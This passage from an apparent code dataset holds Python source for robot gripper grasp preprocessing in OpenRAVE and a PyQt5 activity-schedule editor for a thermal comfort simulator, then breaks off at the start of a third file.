np.reshape(p, (3, 1))\n T = np.vstack((np.hstack((R, p)), np.array([0., 0., 0., 1.])))\n S.append(T)\n\n return S\n\n\ndef PerpendicularTo(v):\n \"\"\" Finds an arbitrary perpendicular vector to *v*.\"\"\"\n # for two vectors (x, y, z) and (a, b, c) to be perpendicular,\n # the following equation has to be fulfilled\n # 0 = ax + by + cz\n if (not (len(v) == 3)):\n raise ValueError('dimension not compatible') \n \n # x = y = z = 0 is not an acceptable solution\n if v[0] == v[1] == v[2] == 0:\n raise ValueError('zero-vector')\n\n # If one dimension is zero, this can be solved by setting that to\n # non-zero and the others to zero. Example: (4, 2, 0) lies in the\n # x-y-Plane, so (0, 0, 1) is orthogonal to the plane.\n if v[0] == 0:\n return np.array([1., 0., 0.])\n if v[1] == 0:\n return np.array([0., 1., 0.])\n if v[2] == 0:\n return np.array([0., 0., 1.])\n\n # arbitrarily set a = b = 1\n # then the equation simplifies to\n # c = -(x + y)/z\n c = -(v[0] + v[1])/float(v[2])\n d = 1./np.sqrt(2 + abs(c)**2)\n return np.array([d, d, d*c])\n\n\nclass BoxInfo(object):\n DMAX = 0.0425 ## max width that the gripper can grip\n GRIPPEROFFSET = 0.08\n L = 0.35 #0.320592 (gripper length)\n\n def __init__(self, manip_object, linkindex):\n self.objectname = manip_object.GetName()\n self.linkindex = linkindex\n\n self.env = orpy.Environment()\n Clone_Bodies = 1\n self.env.Clone(manip_object.GetEnv(), Clone_Bodies)\n\n self.collisionchecker = orpy.RaveCreateCollisionChecker(self.env, 'ode')\n self.env.SetCollisionChecker(self.collisionchecker)\n \n ## remove all other body\n for kinbody in self.env.GetBodies():\n if not (kinbody.GetName() == self.objectname):\n self.env.Remove(kinbody)\n assert(len(self.env.GetBodies()) == 1)\n\n self.object = self.env.GetKinBody(self.objectname)\n self.link = self.object.GetLinks()[self.linkindex]\n\n ## load the gripper\n self.gripper = self.env.ReadKinBodyXMLData(gripper_aabb)\n self.env.Add(self.gripper)\n \n ## create a floor for testing\n floor = orpy.RaveCreateKinBody(self.env, '')\n floor.InitFromBoxes(np.array([[0.0, 0.0, 0.0, 10.0, 10.0, 0.05]]))\n for geom in floor.GetLinks()[0].GetGeometries():\n geom.SetDiffuseColor(np.array([0.6, 0.6, 0.6]))\n floor.SetName('floor')\n self.env.Add(floor)\n Tfloor = np.eye(4)\n Tfloor[2][3] -= 0.050001\n floor.SetTransform(Tfloor)\n \n self.extents = self.link.GetGeometries()[0].GetBoxExtents()\n self.possibleapproachingdir = dict() # each entry depends on a contact surface\n self.possibleslidingdir = dict() # each entry depends on an approaching dir\n self.intervals = dict()\n \n\n def GetPossibleSlidingDirections(self):\n \"\"\"\n GetPossibleSlidingDirections returns a set containing possible\n sliding direction of the gripper for each case of approaching\n directions.\n \n return value: lib \n \n lib[approachingdir] is a set of possible sliding direction given\n the 'approachingdir'.\n \"\"\"\n objx = self.extents[0]\n objy = self.extents[1]\n objz = self.extents[2]\n\n ## approaching direction is +X (and -X)\n temp = []\n if (objz < self.DMAX):\n temp.append(pY)\n if (objy < self.DMAX):\n temp.append(pZ)\n elif (objy < self.DMAX):\n temp.append(pZ)\n self.possibleslidingdir[pX] = temp\n self.possibleslidingdir[mX] = temp\n\n ## approaching direction is +Y (and -Y)\n temp = []\n if (objz < self.DMAX):\n temp.append(pX)\n if (objx < self.DMAX):\n temp.append(pZ)\n elif (objx < self.DMAX):\n temp.append(pZ)\n self.possibleslidingdir[pY] = temp\n self.possibleslidingdir[mY] = temp\n\n ## approaching direction is +Z (and -Z)\n temp = []\n if (objy < self.DMAX):\n temp.append(pX)\n if (objx < self.DMAX):\n temp.append(pY)\n elif (objx < self.DMAX):\n temp.append(pY)\n self.possibleslidingdir[pZ] = temp\n self.possibleslidingdir[mZ] = temp\n\n\n def Preprocess(self, transformationset):\n \"\"\"\n Preprocess examines valid approaching directions for each\n object's transformation. Also for each pair of approaching\n direction and sliding direction Preprocess examines the\n sliding range.\n\n transformationset contains every object's transformation T\n that results in stable configurations.\n \"\"\"\n \n nsurfaces = len(transformationset)\n for isurface in xrange(nsurfaces):\n self.object.SetTransform(transformationset[isurface])\n \n plink = self.link.GetGlobalCOM()\n Tlink = self.link.GetTransform()\n\n xvect = np.reshape(copy.copy(Tlink[0:3, pX]), (3, ))\n yvect = np.reshape(copy.copy(Tlink[0:3, pY]), (3, ))\n zvect = np.reshape(copy.copy(Tlink[0:3, pZ]), (3, ))\n \n ## for each object's contact surface check all six\n ## surfaces of the box\n self.possibleapproachingdir[isurface] = []\n for appdir in [pX, pY, pZ, mX, mY, mZ]:\n ## for each approachingdirection \n \n appvector = np.reshape(copy.copy(Tlink[0:3, np.mod(appdir, 3)]), (3, )) \n # approaching vector\n if (appdir > 2):\n appvector *= -1\n\n aZ = np.dot(appvector, Z)\n \n ########## CHECK I\n ## check if the approached surface is in contact\n if np.allclose(aZ, 1):\n ## the approaching direction is aligned with Z\n if (plink[2] - self.extents[np.mod(appdir, 3)] < self.L):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n \n ########## CHECK II\n ## check if the approached surface is perpendicular to the floor\n elif np.allclose(aZ, 0):\n ax = np.dot(appvector, xvect)\n if (np.allclose(ax, 1) or np.allclose(-ax, 1)):\n ## approaching direction is x or -x\n yZ = np.dot(yvect, Z)\n zZ = np.dot(zvect, Z)\n if (np.allclose(yZ, 1) or np.allclose(-yZ, 1)):\n ## the local y is parallel to Z\n if (plink[2] + self.extents[1] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n elif (np.allclose(zZ, 1) or np.allclose(-zZ, 1)):\n ## the local z is parallel to Z\n if (plink[2] + self.extents[2] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n ay = np.dot(appvector, yvect)\n if (np.allclose(ay, 1) or np.allclose(-ay, 1)):\n ## approaching direction is y or -y\n xZ = np.dot(xvect, Z)\n zZ = np.dot(zvect, Z)\n if (np.allclose(xZ, 1) or np.allclose(-xZ, 1)):\n ## the local y is parallel to Z\n if (plink[2] + self.extents[0] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n elif (np.allclose(zZ, 1) or np.allclose(-zZ, 1)):\n ## the local z is parallel to Z\n if (plink[2] + self.extents[2] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n az = np.dot(appvector, zvect)\n if (np.allclose(az, 1) or np.allclose(-az, 1)):\n ## approaching direction is x or -x\n xZ = np.dot(xvect, Z)\n yZ = np.dot(yvect, Z)\n if (np.allclose(xZ, 1) or np.allclose(-xZ, 1)):\n ## the local x is parallel to Z\n if (plink[2] + self.extents[0] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n elif (np.allclose(yZ, 1) or np.allclose(-yZ, 1)):\n ## the local y is parallel to Z\n if (plink[2] + self.extents[1] < self.GRIPPEROFFSET):\n ## this approacing direction is invalid.\n ## continue to the next direction.\n continue\n\n ########## CHECK III\n elif (aZ > 0):\n normalvector = -1.0*appvector # normal vector to the surface\n k1 = PerpendicularTo(normalvector)\n k2 = np.cross(normalvector, k1)\n \n ## normal vector is pointing to the floor\n theta = np.pi/2 - np.arccos(aZ)\n tantheta = np.tan(theta)\n \n if (np.allclose(np.dot(k1, Z), 0)):\n ## k1 is parallel to the floor\n k2x = np.dot(k2, xvect)\n if (np.allclose(k2x, 1) or np.allclose(-k2x, 1)):\n ## k2 is parallel to the local x\n D = 2*self.extents[0]/tantheta\n if D < self.L:\n continue\n k2y = np.dot(k2, yvect)\n if (np.allclose(k2y, 1) or np.allclose(-k2y, 1)):\n ## k2 is parallel to the local y\n D = 2*self.extents[1]/tantheta\n if D < self.L:\n continue\n k2z = np.dot(k2, zvect)\n if (np.allclose(k2z, 1) or np.allclose(-k2z, 1)):\n ## k2 is parallel to the local z\n D = 2*self.extents[2]/tantheta\n if D < self.L:\n continue\n elif (np.allclose(np.dot(k2, Z), 0)):\n ## k1 is parallel to the floor\n k1x = np.dot(k1, xvect)\n if (np.allclose(k1x, 1) or np.allclose(-k1x, 1)):\n ## k1 is parallel to the local x\n D = 2*self.extents[0]/tantheta\n if D < self.L:\n continue\n k1y = np.dot(k1, yvect)\n if (np.allclose(k1y, 1) or np.allclose(-k1y, 1)):\n ## k1 is parallel to the local y\n D = 2*self.extents[1]/tantheta\n if D < self.L:\n continue\n k1z = np.dot(k1, zvect)\n if (np.allclose(k1z, 1) or np.allclose(-k1z, 1)):\n ## k1 is parallel to the local z\n D = 2*self.extents[2]/tantheta\n if D < self.L:\n continue\n \n ## this approaching direction passes the three tests\n ## it is now a candidate for obtaining sliding ranges\n \"\"\"\n interval = [interval_1, interval_2, ..., interval_n]\n interval_i = (start, length)\n \"\"\"\n \n possibleslidingdir = self.possibleslidingdir[appdir]\n validapproachingdir = False\n\n if len(possibleslidingdir) == 2:\n slidingdir1 = possibleslidingdir[0]\n interval1 = self.ObtainSlidingRanges(Tlink, appdir, \n slidingdir1, case = 2)\n if len(interval1) > 0:\n self.intervals[isurface, appdir, slidingdir1] = interval1\n validapproachingdir = True\n \n slidingdir2 = possibleslidingdir[1]\n interval2 = self.ObtainSlidingRanges(Tlink, appdir, \n slidingdir2, case = 2)\n if len(interval2) > 0:\n self.intervals[isurface, appdir, slidingdir2] = interval2\n validapproachingdir = True\n \n elif len(possibleslidingdir) == 1:\n slidingdir = possibleslidingdir[0]\n interval = self.ObtainSlidingRanges(Tlink, appdir, slidingdir)\n if len(interval) > 0:\n self.intervals[isurface, appdir, slidingdir] = interval\n validapproachingdir = True\n\n if not validapproachingdir:\n continue\n \n self.possibleapproachingdir[isurface].append(appdir)\n \n\n \n def ObtainSlidingRanges(self, Tobj, approachingdir, slidingdir, case = 1):\n ## assume that the object is already in place \n d = self.extents[np.mod(slidingdir, 3)]\n step = 0.04 ## each step along the sliding direction is 4 cm.\n Tstep = np.eye(4)\n\n qgrasp = [approachingdir, slidingdir, 0.0]\n ## Tgripper places the gripper at the middle of the object\n Tgripper = Utils.ComputeTGripper(Tobj, qgrasp, self.extents)\n\n interval = []\n\n if case == 2:\n self.gripper.SetTransform(Tgripper)\n if not (self.env.CheckCollision(self.gripper)):\n interval = [(0, 0)]\n\n elif case == 1: \n domain = np.linspace(-d, d, int(2*d/step) + 1)\n Tstep[0][3] = domain[0]\n self.gripper.SetTransform(np.dot(Tgripper, Tstep))\n if (self.env.CheckCollision(self.gripper)):\n prev_in_collision = True\n else:\n prev_in_collision = False\n prevstart = domain[0]\n\n for i in xrange(1, len(domain)):\n Tstep[0][3] = domain[i]\n self.gripper.SetTransform(np.dot(Tgripper, Tstep))\n if (self.env.CheckCollision(self.gripper)):\n if prev_in_collision:\n prevstart = domain[i]\n else:\n if np.allclose(domain[i - 1], prevstart):\n ## this interavl contains only one number\n ## but we relax it by assinging length =\n ## 0.02 (half a step) so that when we\n ## sample this interval later, the prob of\n ## obtaining a number here is not zero\n interval.append((prevstart, 0.02))\n else:\n interval.append((prevstart, domain[i - 1] - prevstart))\n prevstart = domain[i]\n prev_in_collision = True\n else:\n if (prev_in_collision):\n prev_in_collision = False\n prevstart = domain[i]\n \n\n if not np.allclose(domain[-1], prevstart):\n interval.append((prevstart, domain[-1] - prevstart))\n \n return np.around(interval, decimals = 6).tolist()\n\n","repo_name":"Puttichai/pymanip","sub_path":"pymanip/utils/ObjectPreprocessing.py","file_name":"ObjectPreprocessing.py","file_ext":"py","file_size_in_byte":20505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"40921192249","text":"'''\r\n Version: Apache License Version 2.0\r\n \r\n The contents of this file are subject to the Apache License Version 2.0 ; \r\n you may not use this file except in\r\n compliance with the License. You may obtain a copy of the License at\r\n http://www.apache.org/licenses/\r\n \r\n Software distributed under the License is distributed on an \"AS IS\"\r\n basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the\r\n License for the specific language governing rights and limitations\r\n under the License.\r\n \r\n The Original Code is ABI Comfort Simulator\r\n \r\n The Initial Developer of the Original Code is University of Auckland,\r\n Auckland, New Zealand.\r\n Copyright (C) 2007-2018 by the University of Auckland.\r\n All Rights Reserved.\r\n \r\n Contributor(s): Jagir R. Hussan\r\n \r\n Alternatively, the contents of this file may be used under the terms of\r\n either the GNU General Public License Version 2 or later (the \"GPL\"), or\r\n the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\r\n in which case the provisions of the GPL or the LGPL are applicable instead\r\n of those above. If you wish to allow use of your version of this file only\r\n under the terms of either the GPL or the LGPL, and not to allow others to\r\n use your version of this file under the terms of the MPL, indicate your\r\n decision by deleting the provisions above and replace them with the notice\r\n and other provisions required by the GPL or the LGPL. If you do not delete\r\n the provisions above, a recipient may use your version of this file under\r\n the terms of any one of the MPL, the GPL or the LGPL.\r\n \r\n \"2019\"\r\n '''\r\n\r\nfrom __future__ import unicode_literals,print_function\r\n#Ensure we use pyqt api 2 and consistency across python 2 and 3\r\nimport sip\r\n\r\nAPI_NAMES = [\"QDate\", \"QDateTime\", \"QString\", \"QTextStream\", \"QTime\", \"QUrl\", \"QVariant\"]\r\nAPI_VERSION = 2\r\nfor name in API_NAMES:\r\n sip.setapi(name, API_VERSION)\r\n\r\nimport sys\r\nfrom PyQt5 import QtWidgets,QtCore, uic\r\nfrom PyQt5.QtGui import QColor, QPixmap, QIcon\r\nimport pyqtgraph as pg\r\nimport numpy as np\r\nimport os\r\nimport json\r\nfrom PyQt5.Qt import pyqtSignal, QMessageBox, QFileDialog, QApplication\r\n\r\ntry:\r\n _encoding = QApplication.UnicodeUTF8\r\n def _translate(context, text, disambig):\r\n return QApplication.translate(context, text, disambig, _encoding)\r\nexcept AttributeError:\r\n def _translate(context, text, disambig):\r\n return QApplication.translate(context, text, disambig)\r\n\r\ndef tr(msg):\r\n return _translate(\"ActivityWizard\", msg, None)\r\n\r\ndir_path = os.path.dirname(os.path.realpath(sys.argv[0]))\r\nif not hasattr(sys, 'frozen'): #For py2exe\r\n dir_path = os.path.join(dir_path,\"..\")\r\n\r\nclass DummyCache(object):\r\n \r\n def __init__(self):\r\n pass\r\n \r\n def get(self,dx,default):\r\n return default\r\n \r\n def set(self,dx,val):\r\n pass\r\n\r\nclass FloatDelegate(QtWidgets.QItemDelegate):\r\n def __init__(self, parent=None,decimals=3):\r\n QtWidgets.QItemDelegate.__init__(self, parent=parent)\r\n self.nDecimals = decimals\r\n\r\n def paint(self, painter, option, index):\r\n value = index.model().data(index, QtCore.Qt.EditRole)\r\n try:\r\n val = float(value) \r\n painter.drawText(option.rect, QtCore.Qt.AlignVCenter, \"{:.{}f}\".format(val, self.nDecimals))\r\n except :\r\n painter.drawText(option.rect, QtCore.Qt.AlignVCenter, 'NaN')\r\n\r\n\r\nuiFile = os.path.join(dir_path,\"./uifiles/activitydesignerv2.ui\")\r\n\r\nform,base = uic.loadUiType(uiFile)\r\n\r\nclass ActivityDefinitionWidget(base, form):\r\n currentActivityId = -1\r\n numberOfActivities = 0\r\n activities = dict()\r\n #Send a signal with the filename when an activity is saved.\r\n dataSaved = pyqtSignal(object)\r\n modifyingTable = False\r\n hite = ['description','duration','rh','Tab','velocityOfAir','metabolicActivity','clothingFile','radiationFluxFile']\r\n \r\n def __init__(self,title='Activity Definition',parent=None):\r\n super(base,self).__init__(parent)\r\n #Setup colors\r\n graphColors = [18,4,12,11,10,8,9,7] #Based on Qt.GlobalColor\r\n #Create color objects\r\n self.graphColors = [QColor(QtCore.Qt.GlobalColor(x)) for x in graphColors]\r\n #Map control names to color indexes\r\n self.cindexMap = {'a18Color':0,'b18Color':1,'c18Color':2,'d18Color':3,'e18Color':4,'f18Color':5,'g18Color':6,'h18Color':7}\r\n #Setup the ui\r\n self.setupUi(self)\r\n addFile = os.path.join(dir_path,\"./uifiles/images/add.png\")\r\n self.addActivity.setIcon(QIcon(addFile))\r\n self.deleteActivity.setIcon(self.style().standardIcon(QtWidgets.QStyle.SP_DialogCloseButton))\r\n self.moveUpButton.setIcon(self.style().standardIcon(QtWidgets.QStyle.SP_ArrowUp))\r\n self.moveDownButton.setIcon(self.style().standardIcon(QtWidgets.QStyle.SP_ArrowDown))\r\n \r\n headers = list(map(tr,['Description','Duration (min)','RH %','Temp','Vel. of Air (m/s)','Met','Clothing File','Radiation File']))\r\n self.activityTable.setColumnCount(len(headers))\r\n self.activityTable.setHorizontalHeaderLabels(headers)\r\n self.activityTable.horizontalHeader().setSectionResizeMode(0, QtWidgets.QHeaderView.Stretch)\r\n self.activityTable.horizontalHeader().resizeSection(0,65)\r\n self.activityTable.horizontalHeader().resizeSection(1,95)\r\n for i in range(2,6):\r\n self.activityTable.horizontalHeader().resizeSection(i,65)\r\n self.activityTable.setItemDelegateForColumn(i,FloatDelegate(self))\r\n self.activityTable.horizontalHeader().resizeSection(4,95)\r\n self.setObjectName('ActivityWizard')\r\n #Create the plots for individual electrode selection\r\n self.createSignalPlots()\r\n \r\n #Established signals and slot maps\r\n self._setConnections()\r\n self.setWindowTitle(tr(title))\r\n self.deleteActivity.setDisabled(True)\r\n self.saveActivityButton.setDisabled(True)\r\n self.retranslateUi(self)\r\n \r\n #To not cause QTimer error at close\r\n self.setAttribute(QtCore.Qt.WA_DeleteOnClose)\r\n self.cache = DummyCache()\r\n self.activityName.setText(tr(\"Unnamed\"))\r\n self.setWindowTitle(tr(title))\r\n self.activityTable.cellDoubleClicked.connect(self.activityTableDoubleClicked)\r\n self.activityTable.itemChanged.connect(self.updateCurrentActivity)\r\n\r\n def loadingClothingFileName(self):\r\n direc = self.cache.get('LASTSUCCESSFULWORKSPACE',default='.')\r\n filename = QFileDialog.getOpenFileName(None, tr('Load Clothing Description file'),direc,\"JSON (*.json)\")\r\n if not filename is None and len(filename[0].strip())>0:\r\n #self.clothingFile.setText(os.path.abspath(filename[0]))\r\n self.activityTable.setItem(self.currentActivityId,6,QtWidgets.QTableWidgetItem(os.path.abspath(filename[0])))\r\n\r\n def loadingRadiationFileName(self):\r\n direc = self.cache.get('LASTSUCCESSFULWORKSPACE',default='.')\r\n filename = QFileDialog.getOpenFileName(None, tr('Load Radiation Description file'),direc,\"JSON (*.json)\")\r\n if not filename is None and len(filename[0].strip())>0:\r\n #self.radiationFluxFile.setText(os.path.abspath(filename[0]))\r\n self.activityTable.setItem(self.currentActivityId,7,QtWidgets.QTableWidgetItem(os.path.abspath(filename[0])))\r\n\r\n def setCache(self,cache):\r\n self.cache = cache\r\n\r\n def refreshGraph(self):\r\n numActivities = len(self.activities)\r\n if 'activityname' in self.activities:\r\n numActivities -=1\r\n timeValues = np.zeros(numActivities+1)\r\n temps = np.zeros(numActivities+1)\r\n mets = np.zeros(numActivities+1)\r\n rh = np.zeros(numActivities+1)\r\n voa = np.zeros(numActivities+1)\r\n i = 0\r\n for act in self.activities.values():\r\n if isinstance(act,dict):\r\n timeValues[i+1] = act['duration']\r\n rh[i+1] = act['rh']\r\n temps[i+1] = act['Tab']\r\n voa[i+1] = act['velocityOfAir']\r\n mets[i+1] = act['metabolicActivity']\r\n i +=1\r\n timeValues = np.r_[0,np.cumsum(timeValues)]\r\n \r\n self.temperaturePlot.clear()\r\n self.metabolicActivityPlot.clear()\r\n self.velocityOfAirPlot.clear()\r\n self.relativeHumidityPlot.clear()\r\n if numActivities > 0:\r\n temps[0] = temps[1]\r\n mets[0] = mets[1]\r\n voa[0] = voa[1]\r\n rh[0] = rh[1]\r\n #timeValues[0] = timeValues[1]-0.01\r\n citem = pg.PlotCurveItem(timeValues,temps,stepMode=True)\r\n citem.setPen(pg.mkPen(self.graphColors[0],width=2, cosmetic=True))\r\n self.temperaturePlot.addItem(citem)\r\n \r\n citem = pg.PlotCurveItem(timeValues,mets,stepMode=True)\r\n citem.setPen(pg.mkPen(self.graphColors[1],width=2, cosmetic=True))\r\n self.metabolicActivityPlot.addItem(citem)\r\n\r\n citem = pg.PlotCurveItem(timeValues,voa,stepMode=True)\r\n citem.setPen(pg.mkPen(self.graphColors[2],width=2, cosmetic=True))\r\n self.velocityOfAirPlot.addItem(citem)\r\n \r\n citem = pg.PlotCurveItem(timeValues,rh,stepMode=True)\r\n citem.setPen(pg.mkPen(self.graphColors[3],width=2, cosmetic=True))\r\n self.relativeHumidityPlot.addItem(citem)\r\n\r\n\r\n def createSignalPlots(self):\r\n plt = self.selectElectrodesPlot.addPlot(0,0) \r\n #plt.hideAxis('left')\r\n #plt.hideAxis('bottom')\r\n plt.setTitle(tr('Ambient Temperature'),bold=True,color='#ffffff')\r\n self.temperaturePlot = plt\r\n plt = self.selectElectrodesPlot.addPlot(1,0) \r\n #plt.hideAxis('left')\r\n #plt.hideAxis('bottom')\r\n plt.setTitle(tr('Ambient Relative Humidity'),bold=True,color='#ffffff')\r\n self.relativeHumidityPlot = plt\r\n plt = self.selectElectrodesPlot.addPlot(2,0) \r\n #plt.hideAxis('left')\r\n #plt.hideAxis('bottom')\r\n plt.setTitle(tr('Velocity of Air'),bold=True,color='#ffffff')\r\n self.velocityOfAirPlot = plt\r\n plt = self.selectElectrodesPlot.addPlot(3,0) \r\n #plt.hideAxis('left')\r\n #plt.hideAxis('bottom')\r\n plt.setTitle(tr('Metabolic Activity'),bold=True,color='#ffffff')\r\n self.metabolicActivityPlot = plt\r\n\r\n \r\n def _setConnections(self):\r\n self.addActivity.clicked.connect(self.addCurrentActivity)\r\n self.deleteActivity.clicked.connect(self.deleteCurrentActivity)\r\n self.saveActivityButton.clicked.connect(self.saveActivity)\r\n self.loadActivity.clicked.connect(self._loadActivity)\r\n self.moveUpButton.clicked.connect(self.moveUp)\r\n self.moveDownButton.clicked.connect(self.moveDown)\r\n\r\n def activityTableDoubleClicked(self,row,col):\r\n self.currentActivityId = row\r\n if col==6: #This should be clothing mesh\r\n self.loadingClothingFileName()\r\n elif col==7:\r\n self.loadingRadiationFileName()\r\n \r\n def addCurrentActivity(self):\r\n self.modifyingTable = True \r\n rc = self.activityTable.rowCount()\r\n self.activityTable.insertRow(rc)\r\n self.currentActivityId = rc\r\n mdl = self.activityTable.model()\r\n self.activityTable.setItem(rc,0,QtWidgets.QTableWidgetItem('Activity %d'%rc))\r\n if rc==0:\r\n self.activityTable.setItem(rc,1,QtWidgets.QTableWidgetItem('1.0'))\r\n self.activityTable.setItem(rc,2,QtWidgets.QTableWidgetItem('40.0'))\r\n self.activityTable.setItem(rc,3,QtWidgets.QTableWidgetItem('21.0'))\r\n self.activityTable.setItem(rc,4,QtWidgets.QTableWidgetItem('1.0'))\r\n self.activityTable.setItem(rc,5,QtWidgets.QTableWidgetItem('0.0'))\r\n self.activityTable.setItem(rc,6,QtWidgets.QTableWidgetItem(''))\r\n self.activityTable.setItem(rc,7,QtWidgets.QTableWidgetItem(''))\r\n else:\r\n clone = rc-1\r\n selectedItems = self.activityTable.selectedItems()\r\n rows = set()\r\n for itm in selectedItems: \r\n rows.add(itm.row())\r\n if len(rows)>0:\r\n clone = rows.pop()\r\n \r\n for i in range(1,8):\r\n self.activityTable.setItem(rc,i,QtWidgets.QTableWidgetItem(mdl.index(clone,i).data()))\r\n self.deleteActivity.setEnabled(True)\r\n self.saveActivityButton.setEnabled(True)\r\n #Updates activities and graph\r\n act = dict()\r\n act['id'] = rc\r\n for j,v in enumerate(self.hite):\r\n if j>0 and j<6:\r\n act[v] = float(mdl.index(rc,j).data())\r\n else:\r\n act[v] = mdl.index(rc,j).data()\r\n self.activities[rc] = act\r\n self.refreshGraph() \r\n self.modifyingTable = False \r\n \r\n \r\n def updateCurrentActivity(self,item=None):\r\n if not self.modifyingTable: \r\n self.activities = dict()\r\n mdl = self.activityTable.model()\r\n \r\n for i in range(self.activityTable.rowCount()):\r\n act = dict()\r\n act['id'] = i\r\n for j,v in enumerate(self.hite):\r\n if j>0 and j<6:\r\n act[v] = float(mdl.index(i,j).data())\r\n else:\r\n act[v] = mdl.index(i,j).data()\r\n self.activities[i] = act\r\n if item is not None:\r\n col = item.column()\r\n if col > 0 and col < 6: \r\n self.refreshGraph() \r\n else:\r\n self.refreshGraph()\r\n\r\n \r\n def deleteCurrentActivity(self):\r\n selectedItems = self.activityTable.selectedItems()\r\n rows = set()\r\n for itm in selectedItems: \r\n rows.add(itm.row())\r\n for r in rows:\r\n self.activityTable.removeRow(r)\r\n del self.activities[r]\r\n if self.activityTable.rowCount()==0:\r\n self.deleteActivity.setDisabled(True)\r\n self.saveActivityButton.setDisabled(True)\r\n self.refreshGraph() \r\n \r\n def _loadActivity(self):\r\n direc = self.cache.get('LASTSUCCESSFULWORKSPACE',default='.')\r\n filename = QFileDialog.getOpenFileName(None, 'Load file',direc,\"JSON (*.json)\")\r\n if not filename is None and len(filename[0].strip())>0:\r\n self.loadActivityFromFile(filename[0])\r\n self.cache.set('LASTSUCCESSFULWORKSPACE',os.path.dirname(filename[0]))\r\n \r\n def loadActivityFromFile(self,filename):\r\n if not filename is None and len(filename.strip()) > 0: \r\n with open(filename,'r') as ser:\r\n activities = json.load(ser)\r\n self.loadActivityFromDict(activities,filename)\r\n \r\n def loadActivityFromDict(self,activities,filename='.'): \r\n #Remove buttons and recreate them\r\n try:\r\n self.modifyingTable = True\r\n #Activities should be ordered by id, json does not conserve orders\r\n actKeys = []\r\n if 'activityname' in activities:\r\n self.activityName.setText(activities['activityname'])\r\n else:\r\n self.activityName.setText(os.path.basename(filename))\r\n actOrder = []\r\n for k,activity in activities.items():\r\n #utf2str converts integers to string\r\n if isinstance(activity,dict):\r\n actKeys.append(k)\r\n actOrder.append(int(activity['id']))\r\n ix = np.argsort(actOrder)\r\n for rc,ak in enumerate(ix):\r\n self.activityTable.insertRow(rc)\r\n self.currentActivityId = rc\r\n activity = activities[actKeys[ak]]\r\n self.activityTable.setItem(rc,0,QtWidgets.QTableWidgetItem(activity['description']))\r\n self.activityTable.setItem(rc,1,QtWidgets.QTableWidgetItem(str(activity['duration'])))\r\n self.activityTable.setItem(rc,2,QtWidgets.QTableWidgetItem(str(activity['rh'])))\r\n self.activityTable.setItem(rc,3,QtWidgets.QTableWidgetItem(str(activity['Tab'])))\r\n self.activityTable.setItem(rc,4,QtWidgets.QTableWidgetItem(str(activity['velocityOfAir'])))\r\n self.activityTable.setItem(rc,5,QtWidgets.QTableWidgetItem(str(activity['metabolicActivity'])))\r\n self.activityTable.setItem(rc,6,QtWidgets.QTableWidgetItem(activity['clothingFile']))\r\n self.activityTable.setItem(rc,7,QtWidgets.QTableWidgetItem(activity['radiationFluxFile'])) \r\n \r\n self.deleteActivity.setEnabled(True)\r\n self.saveActivityButton.setEnabled(True)\r\n self.modifyingTable = False\r\n self.updateCurrentActivity()\r\n except:\r\n import traceback\r\n traceback.print_exc(file=sys.stdout)\r\n finally:\r\n self.modifyingTable = False\r\n\r\n def moveDown(self):\r\n self.modifyingTable = True \r\n row = self.activityTable.currentRow()\r\n column = self.activityTable.currentColumn();\r\n if row < self.activityTable.rowCount()-1:\r\n self.activityTable.insertRow(row+2)\r\n for i in range(self.activityTable.columnCount()):\r\n self.activityTable.setItem(row+2,i,self.activityTable.takeItem(row,i))\r\n self.activityTable.setCurrentCell(row+2,column)\r\n self.activityTable.removeRow(row) \r\n self.modifyingTable = False \r\n self.updateCurrentActivity()\r\n\r\n\r\n def moveUp(self): \r\n self.modifyingTable = True \r\n row = self.activityTable.currentRow()\r\n column = self.activityTable.currentColumn()\r\n if row > 0:\r\n self.activityTable.insertRow(row-1)\r\n for i in range(self.activityTable.columnCount()):\r\n self.activityTable.setItem(row-1,i,self.activityTable.takeItem(row+1,i))\r\n self.activityTable.setCurrentCell(row-1,column)\r\n self.activityTable.removeRow(row+1) \r\n self.modifyingTable = False \r\n self.updateCurrentActivity()\r\n \r\n def saveActivity(self):\r\n self.updateCurrentActivity()\r\n if len(self.activities) > 0:\r\n direc = self.cache.get('LASTSUCCESSFULWORKSPACE',default='.')\r\n filename = QFileDialog.getSaveFileName(None, 'Save file',direc,\"JSON (*.json)\")\r\n if not filename is None and len(filename[0].strip()) > 0:\r\n #Update filenames to be relative to this file\r\n bdir = os.path.dirname(filename[0])\r\n for aid in self.activities:\r\n activity = self.activities[aid]\r\n if isinstance(activity,dict):\r\n cf = activity['clothingFile']\r\n cp = os.path.abspath(cf)\r\n activity['clothingFile'] = str(os.path.relpath(cp, bdir))\r\n rf = activity['radiationFluxFile']\r\n if len(rf.strip())>0:\r\n rp = os.path.abspath(rf)\r\n activity['radiationFluxFile'] = str(os.path.relpath(rp, bdir))\r\n with open(filename[0],'w') as ser:\r\n self.activities['activityname']=self.activityName.text()\r\n if self.activities['activityname']=='Unnamed':\r\n self.activities['activityname']=os.path.splitext(os.path.basename(filename[0]))[0]\r\n self.activityName.setText(self.activities['activityname'])\r\n json.dump(self.activities,ser)\r\n self.cache.set('LASTSUCCESSFULWORKSPACE',os.path.dirname(filename[0]))\r\n self.dataSaved.emit(filename[0])\r\n else:\r\n QMessageBox.information(self, tr(\"In correct usage\"), tr(\"No activities defined. Did you forget to click add!\"))\r\n \r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n obj = ActivityDefinitionWidget()\r\n obj.show()\r\n sys.exit(app.exec_()) ","repo_name":"ABI-Software/abics","sub_path":"userinterface/ActivityWizard.py","file_name":"ActivityWizard.py","file_ext":"py","file_size_in_byte":20337,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"24"} +{"seq_id":"10391405958","text":"import symbols\nfrom ..parsing_utilities import *\nfrom keywords import is_eof_type\nfrom ErrorHandling.parsing_error_messages import *\nfrom Parsing.expression_parsing import parse_expression\nfrom Parsing.InternalStatementParsing.statement_parsing import 